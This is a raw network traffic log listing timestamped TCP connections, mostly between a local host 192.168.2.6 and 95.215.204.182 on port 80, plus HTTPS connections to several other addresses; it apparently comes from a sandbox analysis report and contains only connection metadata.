Nov 7, 2024 17:25:43.602390051 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602396011 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.602397919 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.602410078 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602411032 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602421999 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602437019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602447987 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.602454901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602456093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602458000 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.602462053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602466106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602490902 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602513075 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.602518082 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602885962 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602937937 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.602976084 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.602988005 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.603041887 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.605426073 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.605715036 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.605725050 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.605835915 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.605885029 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.609714031 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.609747887 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.609807968 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.609817028 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.610122919 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.610335112 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.610361099 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.610407114 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.610425949 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.610435009 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.610594988 CET	49949	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.610615969 CET	443	49949	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.611310005 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.611336946 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.611709118 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.612843037 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.612915993 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.615628958 CET	49956	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.615641117 CET	443	49956	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.616523027 CET	49948	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.616556883 CET	443	49948	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.624080896 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.624136925 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.624193907 CET	49951	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.625406981 CET	49951	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.625416040 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.625448942 CET	49951	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.625454903 CET	443	49951	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.625761032 CET	49946	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.625781059 CET	443	49946	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.646203041 CET	443	49953	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.651099920 CET	49945	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.651122093 CET	443	49945	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.655721903 CET	49947	443	192.168.2.6	13.107.246.57
Nov 7, 2024 17:25:43.655730963 CET	443	49947	13.107.246.57	192.168.2.6
Nov 7, 2024 17:25:43.658994913 CET	49953	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.659018993 CET	443	49953	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.659827948 CET	49953	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.659836054 CET	443	49953	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.664294958 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.664350986 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.664525986 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.664688110 CET	49957	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.664707899 CET	443	49957	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.681693077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.681715965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.681780100 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.684890985 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.684906960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.684920073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.684931993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.684952974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.684963942 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.685009956 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.685133934 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.685560942 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.688694954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.688715935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.688728094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.688790083 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.716969013 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.716985941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.716998100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717015982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717026949 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717037916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717050076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717061043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717073917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717077017 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.717087984 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717099905 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717135906 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.717144966 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717155933 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.717170954 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717184067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717185020 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.717221022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.717247009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717257977 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717271090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717281103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717291117 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717307091 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.717331886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.717830896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717844009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717855930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717868090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.717880011 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.717910051 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.718173027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.718189955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.718202114 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.718226910 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.718238115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.718245029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.718276978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.718276978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.730156898 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.730232954 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.730417013 CET	49952	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.741305113 CET	49952	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.741309881 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.741348028 CET	49952	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.741353035 CET	443	49952	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.741708040 CET	443	49954	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.747908115 CET	49954	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.747921944 CET	443	49954	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.748522997 CET	49954	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.748528004 CET	443	49954	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.750917912 CET	49958	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.750955105 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.751231909 CET	49958	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.751421928 CET	49958	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.751436949 CET	443	49958	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.788775921 CET	443	49953	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.789020061 CET	443	49953	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.789350033 CET	49953	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.796638966 CET	49953	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.796652079 CET	443	49953	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.797169924 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.797183990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.797230959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.800221920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.800353050 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.800364017 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.800401926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.800411940 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.800419092 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.800426006 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.800462008 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.804426908 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.804440022 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.804452896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.804492950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.804544926 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.818293095 CET	49961	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.818344116 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.818451881 CET	49961	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.820034027 CET	49961	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.820044041 CET	443	49961	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.831917048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.831974030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.831986904 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832005978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832005978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832027912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832032919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832046986 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832057953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832070112 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832077980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832089901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832094908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832107067 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832118988 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832487106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832499027 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832526922 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832540989 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832546949 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832559109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832607985 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832695961 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832739115 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832746029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832787991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832793951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832803011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832814932 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832827091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.832847118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.832926989 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.833225012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833233118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833239079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833245039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833312035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.833492994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833548069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833554029 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833560944 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833595991 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.833611965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833617926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.833686113 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.874793053 CET	443	49954	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.874974012 CET	443	49954	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.875040054 CET	49954	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.887027025 CET	49954	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.887044907 CET	443	49954	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.906613111 CET	49962	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.906651020 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.906725883 CET	49962	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.908215046 CET	49962	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:43.908241034 CET	443	49962	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:43.912575006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.912964106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.912972927 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.913013935 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.915878057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.915896893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.915915012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.915925980 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.915946007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.915956974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.915970087 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.916006088 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.919852018 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.919863939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.919878006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.919929981 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.919967890 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.947520971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947545052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947556973 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947568893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947581053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947580099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.947593927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947603941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.947613955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947642088 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.947664976 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.947767019 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947810888 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.947891951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947901964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947913885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947926998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.947933912 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.947949886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948056936 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948069096 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948080063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948086977 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948105097 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948124886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948198080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948227882 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948240042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948266029 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948278904 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948398113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948438883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948457956 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948471069 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948487043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948494911 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948506117 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948529005 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948688030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948731899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948757887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948770046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948796034 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948807955 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948817015 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948853970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.948954105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948997021 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.948999882 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.949008942 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.949039936 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.949065924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.949073076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.949084997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.949098110 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:43.949115992 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:43.949131966 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.031570911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.031586885 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.031599045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.031611919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.031622887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.031629086 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.031635046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.031649113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.031653881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.031670094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.031688929 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.031717062 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.031969070 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.032023907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.035341978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.035357952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.035371065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.035394907 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.035412073 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.058532953 CET	49963	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.058581114 CET	443	49963	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.058739901 CET	49963	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.058897972 CET	49964	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.058944941 CET	443	49964	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.059102058 CET	49963	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.059118986 CET	443	49963	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.059127092 CET	49964	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.059233904 CET	49964	443	192.168.2.6	23.221.22.183
Nov 7, 2024 17:25:44.059247971 CET	443	49964	23.221.22.183	192.168.2.6
Nov 7, 2024 17:25:44.063206911 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063230991 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063241959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063255072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063266039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063332081 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.063338041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063380957 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.063426971 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063437939 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063448906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:44.063465118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:44.063496113 CET	49911	80	192.168.2.6	95.215.204.182
